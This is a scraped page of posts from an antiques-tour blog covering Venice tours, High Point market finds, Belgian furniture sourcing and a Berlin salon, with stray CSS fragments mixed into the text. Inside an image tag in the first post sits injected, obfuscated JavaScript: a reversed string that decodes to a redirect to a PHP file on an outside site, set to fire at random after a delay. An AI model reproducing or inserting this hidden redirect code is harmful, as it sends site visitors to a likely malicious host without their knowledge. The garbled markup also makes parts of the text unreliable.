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Weekend in Venice Antiques Tours

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Who hasn’t dreamed of spending a weekend in Venice? Here at The Antiques Diva & Co we are so excited to have two local Venetian Diva Guides who have insider connections, knowledge of antiques and style to boot. If you find yourself pining for a few days in this magical city, keep reading because our locally-based Venetian Guides Orseola and Chiara have put together three different ideal weekend tours that could satisfy any discerning Diva client!

O&C Antiques, Things <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to do in Venice, Antiques Diva & Co, Buying antiques in Venice, Sourcing Italian Antiques, Italian Tours, Venice Tours, Antique Venetian Glass Tour, ” width=”600″ height=”469″ />

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Venice Tour 1. “Antique Venetian Textiles Tour
This tour starts with a visit to a private fabric factory (not open to the public) to visit one of the most important manufacturers in Venice as it is the last textile workshop in town that still weaves traditional velvets and brocades on the original 18th century handlooms. From there take a Gondola through the Grand Canal to the nearby Rialto to try some typical “Cicheti” (Venetian small appetizers) and a glass of prosecco/spritz which always flows in abundance here. After the “aperitivo”, go shopping for antique fabrics in the historical shops in Santa Maria del Giglio and then visit an antique dealer that is actually the only place in Venice where you can find original Fortuny fabric. After having seen this shop in San Maurizio, visit an antique dealers personal residence nearby, where you can have the unique shopping experience of buying exquisite, museum quality antiques of any kind in the magical setting of an historical private palazzo. There are also great dealers in that area that offer absolutely beautiful carpets.

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Venice Tour 2. “Antique Venetian Glass Tour”
For the antique glass lovers who are passionate about the authentic art of glass, we can offer a special tour that starts from Venice and ends up in Murano, where glass is designed and produced. First we’ll visit our dear friend Giuseppe, a young dealer that together with is father offers a great selection of vintage and antique glass and much more in his shop close to the Arsenale. From there we’ll take a private boat to reach Murano island. During the trip we will offer a glass of Prosecco in true Diva style!  Once we arrive in Murano, we’ll have lunch there and then visit only historical glass factories and special places which are closed to the public where it is possible to buy dream chandeliers, vases, lamps, glasses by Pauly, Seguso amongst others, from the beginning of the century till 1980. Of course this is our secret source so they make special prices for our clients.

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Venice Tour 3. “Antiques” (can be planned also upon specific requests)
Start the morning by meeting in San Barnaba, where we start the shopping tour visiting the historical “bottega” of an “Indorador”, that restores and sell antique frames, sculptures (think gilded antiques). Then we proceed by going close to the Accademia, at our friend Silvana’s shop, where you can find museum quality stone sculptures, some dating back to the 14th century, along with objects d’art and architectural salvage. This is Italy which means Mamma Mia, we must stop for lunch… we’ll make it fast at  Fiore, with cicheti and wine, and finally reach one of the most famous antique dealers of Venice, David, a dear friend of ours who sells just amazing antiques of any kind–real collectors items, and antique carpets. One of his very special shops (his family has sold higher quality antiques for generations) is located in a beautiful palazzo in the Canareggio district. With a water taxi then, we will bring our clients to Giuseppe’s shop close to Arsenale.

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Can’t Get Enough of Us in Venice? How about doing some Diva Lifestyle Venetian Tours?
As an extra, we’d be glad to plan a trip to Mazzorbo, a very special island in the Venetian lagoon, where it is possible to have a wine tasting of the amazing wine they produce there, from an old variety of grape that was historically growing in the islands of the lagoon (and in Venice itself). This is a very hidden and beautiful little paradise in the middle of the lagoon. In their restaurant, “Venissa” you can enjoy the best creative cuisine made with local products. This is one of our favorite places to eat. Coming back to Venice city center, we love to go to “Estro”, an “osteria” where you can have great wine, cicheti and creative cuisine, perfect for lunch and “Pensione Wildner”, where our friend Luca always advises with the best fresh ingredients of the day and with the best wine pairings, to have a perfect dinner.

If you have an interest in taking an Antiques Diva Venetian Tour, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to custom plan your dream tour and show you Venice through the eyes and footsteps of a local!

Ciao,

The Antiques Diva®   

Favorite Finds Part 2 of Antique & Design Center of High Point

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 50px; line-height: 40px; padding-top: 1px; padding-right: 5px; font-family: times;”>T oday we’re continuing our Favorite Finds from The Antique & Design Center of High Point.  If you missed part one make sure to go back and read it HERE. Now, last time I wrote, you’ll recall, I was delighted to lead a tour of the Antique & Design Center during Spring Market. For those of you who missed market, I had to share some of my top picks from market.

Normally specializing in painted pieces of Italian, Swedish and French provenance, Mitra of Art & Antique Hunter found a sublime Swedish walnut table that she instantly knew was a show stopper. This piece is stunning in person – photos simply cannot do it justice. The pattern of the wood grain is gorgeous in an of itself, each piece specifically cut to make a starburst on the table’s center, with the woodgrain gorgeously flowing down the legs.

High Point Market, Toma Clark Haines, The Antiques Diva

There weren’t a lot of garden antiques at the Antique & Design Center of High Point, but the pieces that were there were stellar. Perhaps my favorite garden piece at the fair was this pair of rare 1920’s sculpted garden statues from Gallery at Summerhill. Australian vendor Chris O’Brian found this pair in a Palm Beach House – constructed entirely from one piece of carved limestone. The quality is exquisite. I loved their pose- the way their forms embraced – it’s actually quite rare to find both male and female pieces together this way. And if you look closely, the male figures have classic Baroque putti faces… but the females… have you ever seen anything quite like them? Probably not! There is no tradition for a female “putti” face so the sculptor had to imagine them himself, breathing his own life and inspiration into them.

High Point Market, Toma Clark Haines, The Antiques Diva

Another fabulous garden piece, this pair of Romantic Revival Movement garden statues circa 1800 from Hank Kozlowski are grand and fun all at once. They’d be just as appropriate today in a boxwood garden as they would be in Marie Antoinette’s hamlet where she used to frolic pretending to be a peasant!

High Point Market, Toma Clark Haines, The Antiques Diva

Next door to Hank Kozlowski is Halsey Dean Antiques which gives vintage and antique pieces a new lease on life. They silver and gold leaf vintage pieces so they simply shimmer. One of our favorite finds in their stall was a reinvented Tomlinson piece made in 1962… RIGHT HERE IN THE VERY BUILDING where the Antique & Design Center of High Point now calls home! At The Antiques Diva & Co we believe in making antiques & vintage pieces relevant. I give Chris and Tim a round of applause for making vintage pieces that might be overlooked more marketable and applicable for today’s interior.

High Point Market, Toma Clark Haines, The Antiques Diva

I love it when vendors think outside the box. And that’s exactly what vendor Heidi Jones of Punch Jones does. By nature she is a storyteller and her inventory is choreographed in a way that it reads as if  it were a novel. Sometimes it’s a historical novel, other times a mystery. While almost all of her pieces were statement pieces, perhaps the piece that caught my eye the most was an antique black dress framed in a shadow box. With such graphic punch it could work in a modern space as well as a traditional space!

High Point Market, Toma Clark Haines, The Antiques Diva

Speaking of vendors with great eyes, Sandy Luther has a fantastic eye. Her entire booth is a favorite from market because of her divine style – we couldn’t choose just one piece to highlight – so we’re highlighting Sandy’s style overall. Correction make that “Sandy’s Style” overall… the word style needed a capital S! Specializing in 18th C Italian religious relics and fragments, Sandy does like to shake it up from time to time. She’s recently started mixing in mid century pieces with her inventory and she has me smitten with a capital S.

High Point Market, Toma Clark Haines, The Antiques Diva

Speaking of being Smitten, you’ve probably heard me say before that Alhambra Antiques is one of my favorite vendors in the USA, selling divine European inventory. Ignacio (and his daughter Olga who is co-owner with husband Doug Scott of The HighBoy) have a great eye for sourcing in Europe! Alhambra Antiques consistently has top quality, creative inventory that punctuates spaces with a European vibe. His first time displaying at market, vendor Ignacio’s stole the show with his chandeliers. While he had chandeliers dating several hundred years old, perhaps my favorites were the vintage Italian Murano and Art Glass. Talk about a statement piece! WOW!

High Point Market, Toma Clark Haines, The Antiques Diva

Sometimes my favorite items in the booth, weren’t the oldest or the most precious, or even the best value. Dealers Richard and Tatiana of Rue Auber Antiques had a wonderful assortment of pieces that were under-priced! They buy low at auction (or house clearing sales nearby their New England home) and thus they pass along their savings. One painting in their booth was estimated at $3-5K at auction and they were selling for $1200 and they had an Italian Carerra Marble fireplace that would have sold in New York for 12K going for 4K! They pride themselves on seeking quality and selling for a good value. The piece that struck me in their booth was a designer’s dream – it was a faux malachite table from the 1960s. The color, the pattern, the shape were all perfect and I can imagine it showing up on the cover of House Beautiful or some other shelter publication in the coming years!

High Point Market, Toma Clark Haines, The Antiques Diva

Last but not least was Marshall Clements from Little Rock, Arkansas. They have some of the most to-die-for inventory – my particular favorite piece in their booth was a 19th C Sculoa Baroque Table – similar to Pietre Dura (which is comprised of semi-precious stones). This is a pigment version from a church in Rome. I think it was one of the most special pieces at the fair! I also loved their Pair of 19th C bibliotheques as well as their assortment of well priced 18th C walnut tables selling for 3-5K.

High Point Market, Toma Clark Haines, The Antiques Diva

Hope you’ve enjoyed our Antiques Diva High Point Antique and Design Center Round Up!

The Antiques Diva®

Antique Sourcing in Belgium

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Here at The Antiques Diva & Co, there are many moving parts that all work together to create our successful European Antiques Buying Tour Service. My team of 18 Diva Guides, who operate locally in 8 different countries, are an indispensable part of the business. They bring to the table their antiques expertise, local connections, translating, and negotiating skills. Today we’re going to hear from our Belgian/Dutch Diva Guide, Lucretia Hunsucker.

Antiques Diva Guide Lucretia Hunsucker, Buying antiques in Belgium, sourcing antiques in Europe

Lucretia explains, “I love helping clients source a variety of pieces but my favorite times are when a client is searching for something specific—almost like a treasure hunt! Even when clients can’t come on tour, we can help them source pieces through our Antiques Sourcing Services. Recently one of our favorite New York Interior Designer clients asked if we could help him source a pair of De Coene consoles for a project.  De Coene was a furniture company founded in the early twentieth century based in the Flemish town of Kortrijk, which went out of business in 1975.

Leopold_III_van_België_(1934)

As fate would have it, a few days before I received this client’s email, I had happened to visit an exhibition in Brussels, dedicated to Henry Van de Velde, the famous Belgian designer. The exhibition included a gigantic desk that this firm, De Coene, had made for the Belgian king Leopold III, based on Van de Velde’s designs of the 1930s. Indeed it was common knowledge that only the rich could afford De Coene furniture, making it a prestigious brand throughout Europe. Even French customers coveted these pieces because of the excellent quality and craftsmanship.

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Upon returning home and receiving the client’s email, I immediately tapped our Antiques Diva database and contacted a Brussels antique dealer who had just what we were looking for – a black De Coene console for sale! The only problem? Our Antiques Diva client was specifically looking to buy a pair of them! Where was I going to find a second one? The hunt was on…

Murat, Buying antiques in Belgium, Sourcing antiques in Europe, Antiques Diva & Co, Toma Clark Haines, Diva Guide Lucretia, De Coene console, New York Interior Designer

Back to the drawing board… a few phones and numerous emails later we stumbled upon an exact duplicate of my first find, but this time it was in mahogany. This console was identified as a “De Coene Murat”. It was almost an exact match to the black console— the only difference was that this one had a mahogany finish. Although made in the 1950s, this De Coene Murat console was designed in that “Retour d’Egypte” style,  made out of polished mahogany with mat guilt bronze classical detail. I knew there had to be a way to make this pair work—even if they weren’t exactly twins! Never say Die!

I contacted the vendor and told him that the Murat console I wanted had to be black. His solution was that he could HAVE THIS PIECE LACQUERED IN BLACK making it THE PERFECT COMPANION to the first console table we found.  In my opinion, the console looked so much more modern and glamorous in black, with all the gold accessories shiny and polished. Problems solved!

Murat-SàM_DC_Eetk-Van_Put-1963-Dressoir-F01, Buying antiques in Belgium, Sourcing antiques in Europe, Antiques Diva & Co, Toma Clark Haines, Diva Guide Lucretia, De Coene console, New York Interior Designer

De Coene Murat furniture fetches sky-high prices in the US. In 2007, the Murat console was featured on the cover of a catalog issued by a New Orleans auction house — where it later fetched the sum of $21,600. A New York antique dealer, Kemp, sells Murat consoles for $60,000! Now, even with the extra labor – the lacquering – and transportation costs, our New York client could acquire this beautiful pair of Murat consoles for a fraction of what it would have cost him in the USA.

For myself, it was an eye-opener too. Once this mahogany neo-empire furniture had undergone this transformation – being painted black and having the gold trimmings polished – it looked very modern and perfect for our client’s needs!  Resembling art deco rather than empire, it fit very well in a contemporary interior, and the neutral black finish offered great possibilities for mixing well with the flamboyant colors that are so en vogue now.  I also learned that the firm De Coene had been selling black- lacquered furniture from the beginning, taking away my reservations about changing the looks of such carefully executed heirloom pieces.

The lesson here is that no matter what you’re looking for, where there’s a will there’s a way. From the client, to our company Antiques Diva headquarters, to me as the local buying agent to two of the dealers we know, the exact pieces that we sought were found, modified, and purchased for a fraction of the cost they could have been purchased for in the US.”

If you’d like information about an Antiques Buying Tour or our Buying Services, please email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to help you source the perfect piece!

The Antiques Diva® 

Revival of the Salon

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>My love for antiques got me into this business and being surrounded by like-minded people and sharing this passion with clients, vendors and colleagues is part of what makes my job such a joy.  When I first met Chiara Zanella and Orseola Barozzi Rizzo  – who later became our Antiques Diva Venice Antiquing Guides – they confided, “We want to create a different concept of selling antiques and of antiquing in general; we’d like to bring antiques to a younger target of collectors.  We believe people are beginning to reflect more on what they will buy for their home décor. We all need more personal spaces, reflecting our personalities and taste.”

O&C Antiques, Salon, Drama, Antiques Diva & Co, Venice Antiques, Chiara Zanella, Orseola Barozzi Rizzo, Design network, Artist network, Berlin Salon

O&C Antiques, Salon, Drama, Antiques Diva & Co, Venice Antiques, Chiara Zanella, Orseola Barozzi Rizzo, Design network, Artist network, Berlin Salon

These two ladies who not only lead our Venetian and Veneto antique buying tours also co-own O & C Antiques.  They are filled with youth and vigor and the kind of energy that makes one think they could singlehandedly stop Venice from sinking.  Explaining to me about their store, they said, “The world today is so connected on the internet.  It sometimes feels people have stopped living real life in lieu of an online life.  We think the future of antiques is in Salons  – real life meetings of the minds.”

O&C Antiques, Salon, Drama, Antiques Diva & Co, Venice Antiques, Chiara Zanella, Orseola Barozzi Rizzo, Design network, Artist network, Berlin Salon

At the mention of the word “Salon” my mind immediately races to the salons hosted by Ayn Rand in New York in the 1950’s but I am quickly reminded the would-be Americans such as Rand weren’t the ones who invented the concept.  Orseola explains, “The Salon is an Italian  invention from 16th century Italy when circles formed in the smaller courts with patronesses such as Isabella d’Este or Elisabetta Gonzaga.  Later the movement moved onto 18th century France with some of the last Salons hosted in the 20th century by Marie-Laure de Noailles with guests such as Jean Cocteau and Salvador Dali.”

Chiara continues, “Women were always the center of the life in the Salon and they carried a very important role as regulators. They could select their guests and decide about the subjects of their meetings. Those subjects could be social, literary, or political. They also had the role as mediator by directing the discussion. They were called Salonnières.”

O&C Antiques, Salon, Drama, Antiques Diva & Co, Venice Antiques, Chiara Zanella, Orseola Barozzi Rizzo, Design network, Artist network, Berlin Salon

Orseola cries…. “We’re bringing back the Salon.  We host mobile events in our homes.  While we’re in Venice this could be held in any city of the world – gatherings  in private spaces with  sellers, artists and designers combining discussion with antiques, contemporary art and vintage furniture.” During these events Salonieres educate their guests about cultural topics, all the while enjoying antiques, art, music and scintillating conversation meant to enhance the participants’ taste and increase their knowledge. These gatherings consciously followed Horace’s definition of the aims of poetry, “either to please or to educate” (“aug delectare aug prodesse set”).

O&C Antiques, Salon, Drama, Antiques Diva & Co, Venice Antiques, Chiara Zanella, Orseola Barozzi Rizzo, Design network, Artist network, Berlin Salon

And you, dear diva readers, are invited to the first of their salons…..  Chiara and Orseola have teamed up with their friend Jens Soneryd to organize the first of their Salon style evenings on October 31 in Berlin, Germany.

The theme of this inaugural Salon is “DRAMA”— a word which relates to any aesthetic experience—that through visual art, poetry, music and literature translate intuitions into beauty. The goal is to have these Salon evenings in several different cities throughout the world, almost as an international movable Salon!

The evening will be more the launch of a different way to meet like minded people, giving the chance to make a network in several different cities, between interior designers, antique dealers, designers, artists and collectors. In the frame of a private space that for the occasion, will be used as the visual platform where people can have the experience of distinct elements combined together in the same “exhibition” concept. The meaning of this gathering is also to provide collectors with a different way to look at art, design and antiques, and to make an ideal background for discussion for all guests.

O&C Antiques, Salon, Drama, Antiques Diva & Co, Venice Antiques, Chiara Zanella, Orseola Barozzi Rizzo, Design network, Artist network, Berlin Salon

For that, the hostesses have selected artworks and photography (by artists based in Berlin, NYC and Warsaw), some objects from a contemporary design store in Berlin, some pieces of O&C Antiques inventory and guests will be delighted by an Opera singer and nice Italian wine.

The entrance to this exciting evening is free (although a donation is encouraged). If you’d like more information on the Salon concept, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. Whether you’re interested in attending the inaugural Salon or if you wish to come to or host a future Salon, we’d love to hear from you!

The Antiques Diva®

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